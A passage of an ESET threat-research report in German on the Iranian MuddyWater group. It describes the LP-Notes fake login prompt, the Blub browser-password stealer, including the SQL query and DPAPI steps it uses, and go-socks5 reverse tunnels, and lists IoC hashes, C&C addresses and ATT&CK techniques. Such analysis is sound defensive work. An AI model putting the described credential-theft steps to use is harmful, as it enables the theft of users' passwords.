In einer Endlosschleife zeigt LP-Notes ein gefälschtes Windows-Sicherheitsdialogfeld an, in dem das Opfer aufgefordert wird, seinen Windows-Benutzernamen und sein Kennwort einzugeben (siehe Abbildung 8, über die API CredUIPromptForWindowsCredentialsW ). Beachten Sie, dass dies zwar ähnlich, aber nicht identisch mit der von MuddyViper verwendeten gefälschten Eingabeaufforderung für Anmeldeinformationen ist (siehe Abbildung 4). Es bestätigt sofort die Gültigkeit der übermittelten Anmeldeinformationen, indem es versucht, sich als dieser Benutzer anzumelden (über die APIs CredUnPackAuthenticationBufferW und LogonUserW ).

Figure 8. A fake Windows Security dialog displayed by LP-Notes
Abbildung 8. Ein gefälschter Windows-Sicherheitsdialog, angezeigt von LP-Notes

Bei Erfolg werden die gesammelten Anmeldedaten dann mit der CNG-API mit dem Schlüssel ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC und der IV 91A4E6F6D51DAEE773A8F00279792578 verschlüsselt.

Ähnlich wie CE-Notes speichert LP-Notes die verschlüsselten Zugangsdaten in einer lokalen Datei - in diesem Fall C:\Users\Public\Downloads\lp-notes.txt. Da keine dieser Komponenten in der Lage ist, Daten zu exfiltrieren, übernimmt dies vermutlich eine andere Komponente (entweder ein RMM-Tool oder MuddyViper).

Blub browser-data stealer

Blub ist ein C/C++-Browser-Datendiebstahlprogramm, das eine statisch gelinkte SQLite-Bibliothek enthält. Der Name leitet sich von seinem Dateinamen, Blub.exe, ab. Wir haben den PDB-Pfad C:\Users\jojo\source\repos\stealer\x64\Release\stealer.pdb beobachtet. Er stiehlt Benutzeranmeldedaten von Google Chrome, Microsoft Edge, Mozilla Firefox und Opera Webbrowsern.

Chromium-basierte Browser

Bei Chrome beendet Blub zunächst chrome.exe (falls ausgeführt) und analysiert und entschlüsselt dann den Verschlüsselungsschlüssel aus C:\Benutzer\<Benutzername>\AppData\Local\Google\Chrome\Benutzerdaten\Local State. Dieser Schlüssel wird verwendet, um von Chrome gespeicherte sensible Daten wie Passwörter oder Cookies zu verschlüsseln, und er ist durch die Datenschutz-API (DPAPI) geschützt, so dass er nur auf dem System entschlüsselt werden kann, auf dem er ursprünglich verschlüsselt wurde. Blub entschlüsselt diesen Schlüssel über die CryptUnprotectData-API und verwendet ihn dann zur Entschlüsselung von Benutzeranmeldeinformationen, die von allen vorhandenen Chrome-Benutzerprofilen auf dem angegriffenen Computer stammen. Die Anmeldedaten, die in C:\Users\<Benutzername>\AppData\Local\Google\Chrome\User Data\<profile_name>\Login Data gespeichert sind, werden über die folgende SQL-Abfrage ermittelt:

SELECT origin_url, username_value, password_value FROM logins

Eine ähnliche Reihe von Schritten wird verwendet, um Benutzeranmeldeinformationen von Microsoft Edge- und Opera-Benutzerprofilen zu erhalten und zu entschlüsseln, wobei der Schlüssel aus C:\Benutzer\<Benutzername>\AppData\Local\Microsoft\Edge\Benutzerdaten\Local State und C:\Benutzer\<Benutzername>\AppData\Roaming\Opera Software\Opera Stable\Local State verwendet wird.

Firefox

Um schließlich die gespeicherten Benutzerdaten für Mozilla Firefox zu entschlüsseln, analysiert Blub den Hostnamen, den verschlüsselten Benutzernamen und das verschlüsselte Passwort aus der Datei logins.json im Profilverzeichnis des jeweiligen Benutzers, d. h. %APPDATAROAMING%\Mozilla\Firefox\Profiles\<profile_name>\. Die Anmeldedaten werden dann mit der Funktion PK11SDR_Decrypt aus der von Firefox verwendeten nss3.dll-Bibliothek entschlüsselt.

Die gesammelten Daten werden unverschlüsselt in einer lokalen Datei namens file.txt gespeichert. Die gleichen Daten werden unverschlüsselt auf der Konsole protokolliert, zusammen mit ausführlichen Statusmeldungen. Blub hat keine Möglichkeit, diese Datei zu exfiltrieren.

Beachten Sie, dass Blub nach laufenden Prozessen sucht, die mit Sicherheitslösungen verbunden sind, bevor er seine bösartige Nutzlast ausführt, wobei er sich auf die Kombination der Prozesse afwServ.exe (Avast Firewall) und AvastSvc.exe (Avast Antivirus) konzentriert. Wenn afwServ.exe als aktiv erkannt wird (aber nicht AvastSvc.exe), schließt Blub daraus, dass Norton (das jetzt die Avast-Engine verwendet) auf dem angegriffenen Host läuft, und beendet sich. Wenn AvastSvc.exe (Avast) erkannt wird, fährt Blub mit der Ausführung fort, überspringt aber den Diebstahl von Anmeldeinformationen von Microsoft Edge.

Während die Zeichenfolgen von Blub im Klartext gespeichert werden, wird für die Zeichenfolgen, die mit der Datenklau-Funktion von Google Chrome verbunden sind, eine einfache Verschleierungstechnik verwendet. Insbesondere werden mehrere Zeichenketten zu einer langen Zeichenkette mit 16 zufälligen Zeichen dazwischen verkettet, offenbar um sie bei der statischen Analyse zu verbergen:

gdGlog}o{eRwjpw&"encrypted_key":FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW'xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~

Das Entfernen der Junk-Zeichen und das Aufteilen der Zeichenketten ergibt:

  • "encrypted_key":
  • ImpersonateLogge
  • OpenProcessToken
  • DuplicateTokenEx

go-socks5 Reverse-Tunnel

Die go-socks5-Reverse-Tunnel von MuddyWater sind eine Sammlung von Go-kompilierten Werkzeugen, die auf öffentlich verfügbaren Bibliotheken wie go-socks5, yamux und resocks basieren. Sie wurden in den letzten Kampagnen von MuddyWater häufig eingesetzt.

Die meisten der von uns analysierten Varianten scheinen intern den Namen ESETGO (ohne Bezug zu ESET) zu tragen, basierend auf den in Abbildung 9 und in anderen Artefakten gezeigten Build-Konfigurationsstrings.

path  ESETGO
mod   ESETGO	(devel)
dep   github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep	  github.com/hashicorp/yamux	v0.1.1	h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep	  golang.org/x/net	v0.29.0	h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep	  golang.org/x/sys	v0.25.0	h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1

Abbildung 9. Build-Konfigurationsstrings der go-socks5-Varianten von MuddyWater

Der Hauptzweck des go-socks5-Proxys von MuddyWater besteht darin, die Kommunikation zwischen dem kompromittierten Rechner (an einem bestimmten Port) und einem fest codierten C&C-Server weiterzuleiten, wobei ein fest codierter Verbindungsschlüssel zur Authentifizierung mit dem C&C-Server über SSL/TLS verwendet wird. Auf diese Weise kann der Angreifer den C&C-Verkehr (der möglicherweise mit anderen Kompromittierungen zusammenhängt) über den kompromittierten Rechner leiten und so den Standort des echten C&C-Servers verbergen.

Schlussfolgerung

Diese Kampagne zeigt, dass MuddyWater immer ausgereifter wird. Der Einsatz von bisher undokumentierten Komponenten - wie dem Fooder-Loader und der MuddyViper-Backdoor - deutet auf das Bestreben hin, die Stealth-, Persistenz- und Credential Harvesting-Fähigkeiten zu verbessern. Der Einsatz von spielerisch inspirierten Umgehungstechniken, Reverse-Tunneling und ein breit gefächertes Toolset spiegeln einen raffinierteren Ansatz als bei früheren Kampagnen wider, auch wenn Spuren der operativen Unreife der Gruppe bestehen bleiben.

MuddyWater beweist weiterhin die Fähigkeit, durchschnittliche bis überdurchschnittliche Kampagnen durchzuführen, d.h. sie sind zeitnah, effektiv und zunehmend schwieriger zu bekämpfen. Wir gehen davon aus, dass MuddyWater ein führender Akteur bei Aktivitäten im Zusammenhang mit dem Iran bleiben wird, erwarten aber, dass die typischen Kampagnen mit fortschrittlicheren TTPs fortgesetzt werden.

ESET wird die Aktivitäten der Gruppe weiterhin beobachten und sich dabei auf weitere Anzeichen für technische Fortschritte und strategische Ziele in den Bereichen Regierung, Militär, Telekommunikation und kritische Infrastruktur konzentrieren.

Wenn Sie Fragen zu unseren auf WeLiveSecurity veröffentlichten Untersuchungen haben, kontaktieren Sie uns bitte unter threatintel@eset.com.
ESET Research bietet private APT Intelligence Reports und Datenfeeds an. Wenn Sie Fragen zu diesem Service haben, besuchen Sie die ESET Threat Intelligence Seite.

IoCs

Dateien

SHA-1 Filename Detection Description
76632910CF67697BF5D7285FAE38BFCF438EC082 OsUpdater.exe Win64/MuddyWater.E MuddyWater – Fooder launcher.
1723D5EA7185D2E339FA9529D245DAA5D5C9A932 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
69B097D8A3205605506E6C1CC3C13B71091CB519 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B7A8F09CB5FF8A33653988FFBA585118ACF24C13 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B8997526E4781A6A1479690E30072F38E091899D stealer.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
8E21DE54638A79D8489C59D958B23FE22E90944A 7d1e9726b5YZPYc.dll Win32/MuddyWater.B MuddyWater – CE-Notes browser-data stealer.
CD47420F5CE408D95C98306D78B977CDA0400C8F fe197add74IVcQn.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
C1299E8C9A8567A9C292157F3ED65B818AA78900 vmsvc.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
29CDA06701F9A9C0A6791775C3EB70F5B52BBEFF 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
8F3ED626E7B929450E36E97BA5539C8371DF0EF8 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
007B5CD6D6ACF972F7743F79E23CAB9BB2ECBEE3 Dsync-es.exe Win64/MuddyWater.F MuddyWater – Mimikatz loader.
CD36F93DBC4C718930593D8F029EFDCAA52B619B App_chek.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded HackBrowserData tool.
47B70C47BEB33E88B4197D6AF1B768230E51B067 steam.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
D46900D78AE036967E0B37F9EC6A8000131AE604 antimage.exe Win32/MuddyWater.A MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
0657D0B0610618886DDD74C3D0A1D582CDD24863 wtsapi32.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
2939FD218E0145D730BD94AA1C76386A5259EACE msi.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
3BC6502A55A4D5D29132DA4D9943E154A810CC83 WinWin.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
7950296331802188EB99E232E2C383CB9FDD5D7D 20241118_223247_Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
8580824FE14DB158388102B16C1C79DFBBA36083 Launcher.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
B48B93B4EB69D01588D371356EDE614C5E7378DE Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EA8A1C2382FF765709D7F78EF60482598E4C0DEB vcruntime140_1.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EAF4BAFC62170C9FCA1F6B591848883DBF97F93D Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
F5EFBA6CCBA5A6AD6C3AFA928C0E5EAA44597411 ncrypt.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
13DA612D75DC5268F5235F5BACE6D8F0DB0091FF WinWin(persist).exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
25361183DE63F296BA71B6FCF0725E022B3C989A 0bff183a39ruQsY.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
0E9A4892CFA1C9065B36D8F2E164E28609A8CF5D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2B09241CA025BDC4455E9F6BA6009E2F27C08EDF dttcodexgigas.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2E9BE23CDD8152DB6CD1A54E001C4EA82FF6F1C6 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
45FA7DE711FEA1F8D1E348E87834246C455DD2ED fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E0EF2386980639FC5355FD68DAFF54EB2AD622E 20d188afdcWgOQB.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E9529BA4A6E42D6278D37E3FDEE9E1D991CEBE0 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
50C6D4A2AD16A231CF11C43F3BBC868D90E20D25 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
52009F36058337B6401DA0A0F4885A0C185F0520 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
535882B6EDAB29247E035236A84CA510FB1E0854 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
544CE18E4C1F1B288DEE6018DFCF4E4D4A315F7A 1110254b63WfTEa.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
54EBC125039CC83E4682CA44DD592534562B25C3 FMAPP.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
5A08150C1DC17E9F691296F0A577C2EC9BA8028C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 proxy reverse tunnel.
5D1E61DA8083C41FF1FC23A1222A4A88B43A4E9B bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6532E0437C8913FA418F1EE258561B15BBEE9052 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6CA41565844118385B345A39A9B79E0BBC0DD338 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
6FC50A99AAE1D6C40111632D4F49BD19F9794CF6 8525e604dfKuDNr.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
826CFF5D85713CE4B2F3C15AB53A84E6848D2E2C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
87ADD79C7C8335447113EE0D413F52AE2B17F066 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
93055115559219BE8441880597C533381B99213B main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
97C3376AB551E899F347CC9DDF49EA01DB2D7903 504f53ca8esoLmG.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
99FAD0862E2E8D363F3E18952FD92E09493CC27D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A101CBCCD950AA36FC3B40C3C331FDE43ACDBBD2 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A227C0A4425E24268B759A740231676A589CA4E6 fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A997A7AAE727D2C12CCE80FE3607317775A4DF3E fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0271CA76052EC340014D7BCCDBD69325A4E60F2 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0CD4F5DF192BFFE6500E44B80C28505DFD9CA66 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B16E7D56A8DC0FF6B3AFD797E1EAB22B20DFFB39 ESETGO.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D49979D0063B28BD73390481E6AE642C00CE0791 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D518F5C648AB64B390A29AA2858219318CFC556A bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF223D653F761ED55F9C0774F1DBF545FD741F86 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF8FC5213AA11EE445EAD1AAE17A826E7D51A743 Revoke.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E02DD79A8CAED662969F6D5D0792F2CB283116E8 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E8F4EA3857EF5FDFEC1A2063D707609251F207DB main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
F26CAE9E79871DF3A47FA61A755DC028C18451FC 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
FF09608790077E1BA52C03D9390E0805189ADAD7 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A9747A3F58F8F408FECEFC48DB0A18A1CB6DACAE AppVs.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.

Netzwerk

IP Domain Hosting provider First seen Details
3.95.7[.]142 N/A Amazon Data Services NoVa 2024‑09‑08 MuddyWater C&C server.
35.175.224[.]64 N/A Amazon Technologies Inc. 2024‑10‑10 MuddyWater C&C server.
51.16.209[.]105 api.tikavodot.co[.]il Amazon Data Services Ireland Technical Role Account 2024‑09‑15 MuddyWater C&C server.
62.106.66[.]112 N/A RIPE-NCC-HM-MNT, ORG-NCC1-RIPE 2024‑09‑29 MuddyWater staging server.
157.20.182[.]45 N/A Hosterdaddy Private Limited 2024‑04‑18 MuddyWater staging server.
161.35.172[.]55 N/A  DigitalOcean, LLC 2022‑11‑12 MuddyWater staging server.
167.99.224[.]13 magicallyday[.]com DigitalOcean, LLC 2022‑11‑06 MuddyWater C&C server.
194.11.246[.]78 N/A HosterDaddy Private Limited 2024‑07‑23 MuddyWater C&C server.
194.11.246[.]101 processplanet[.]org Administrator 2024‑08‑27 MuddyWater staging and C&C server.
206.71.149[.]51 N/A BL Networks 2023‑10‑30 MuddyWater staging server.
212.232.22[.]136 N/A HosterDaddy Private Limited 2025‑01‑16 MuddyWater C&C server.

MITRE ATT&CK-Techniken

Diese Tabelle wurde mit der Version 17 des MITRE ATT&CK Frameworks erstellt.

Tactic ID Name Description
Reconnaissance T1591 Gather Victim Org Information MuddyWater gathers victim org info to use in spearphishing emails.
Resource Development T1583 Acquire Infrastructure MuddyWater uses acquired infrastructure to host malware download locations and C&C servers.
T1608 Stage Capabilities MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited.
T1587.001 Develop Capabilities: Malware MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers.
T1588.002 Obtain Capabilities: Tool MuddyWater uses publicly available tools from GitHub, such as HackBrowserData and Go-based reverse proxies.
Initial Access T1566.002 Phishing: Spearphishing Link MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ).
Execution T1059.001 Command-Line Interface: PowerShell MuddyViper has the capability to open and execute PowerShell scripts.
T1059.003 Command-Line Interface: Windows Command Shell MuddyViper has the capability to offer the Windows Command shell as a reverse shell.
T1559.001 Inter-Process Communication: Component Object Model MuddyViper uses the ITaskService COM object to create a scheduled task for persistence.
T1106 Native API MuddyViper uses the CreateProcess API to execute additional files and commands.
T1204.001 User Execution: Malicious Link MuddyWater operators rely on targets clicking malicious links delivered through spearphishing.
Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder MuddyViper has the capability to copy itself to the victim’s Startup folder.
T1543.003 Create or Modify System Process: Windows Service MuddyWater operators attempt to install RMM tools in %PROGRAMFILES%, which also includes creating a Windows service set to autostart.
T1053 Scheduled Task/Job MuddyViper can be persisted as a scheduled task named ManageOnDriveUpdater.
Defense Evasion T1134.001 Access Token Manipulation: Token Impersonation/Theft The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user’s security context via ImpersonateLoggedOnUser.
T1140  Deobfuscate/Decode Files or Information Blub uses string obfuscation for storing stolen data.
Fooder can extract embedded, AES-encrypted payloads.
CE-Notes and LP-Notes both use a custom byte-wise decryption routine to decrypt strings.
T1620 Reflective Code Loading The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData).
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime.
T1134.002 Access Token Manipulation: Create Process with Token  Fooder’s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via CreateProcessAsUserA.
T1622 Debugger Evasion  MuddyViper searches for specific debugging tools, adjusting its behavior accordingly.
T1070.009 Indicator Removal: Clear Persistence MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself.
T1070.004 Indicator Removal: File Deletion MuddyViper can delete itself from the system, if instructed to uninstall itself.
T1036 Masquerading Some versions of Fooder masquerade as an innocuous Snake game.
T1036.004 Masquerading: Masquerade Task or Service MuddyViper can create a task named ManageOnDriveUpdater.
T1112 Modify Registry MuddyViper can modify the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup and HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup registry keys, to change the location of the Startup folder.
T1027.009 Obfuscated Files or Information: Embedded Payloads Fooder can extract an embedded, AES-encrypted payload.
T1027.013 Obfuscated Files or Information: Encrypted/Encoded File Fooder can extract an embedded, AES-encrypted payload.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers CE-Notes and Blub attempt to steal credentials stored in browsers.
T1056.002  Input Capture: GUI Input Capture MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials’ veracity by relaying those credentials to legitimate Windows APIs.
Discovery T1082  System Information Discovery MuddyViper collects system information from compromised systems and reports it back to the C&C server.
T1518.001 Software Discovery: Security Software Discovery MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&C server and modifies its behavior.
Collection T1074.001 Data Staged: Local Data Staging Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate.
T1560.001  Archive Collected Data: Archive via Utility MuddyViper uses PowerShell’s Compress-Archive command to compress browser data collected via the HackBrowserData utility.
Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&C server.
T1219 Remote Access Software MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims’ systems.
T1071.001 Application Layer Protocol: Web Protocols MuddyViper uses HTTPS for C&C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&C communications.
T1105 Ingress Tool Transfer MuddyViper has the capability to download additional payloads from its C&C server.
T1001 Data Obfuscation MuddyViper leverages HTTPS for C&C communications, using the Status header to hide a backdoor command ID in the server-to-client direction of the communication.
T1090 Proxy MuddyWater uses customized versions of go‑socks5 reverse proxy tools.
Exfiltration T1041 Exfiltration Over C2 Channel MuddyWater tools exfiltrate data to C&C servers using C&C channels (HTTP and HTTPS).
T1030 Data Transfer Size Limits MuddyViper supports downloading/‌uploading files in chunks of limited size.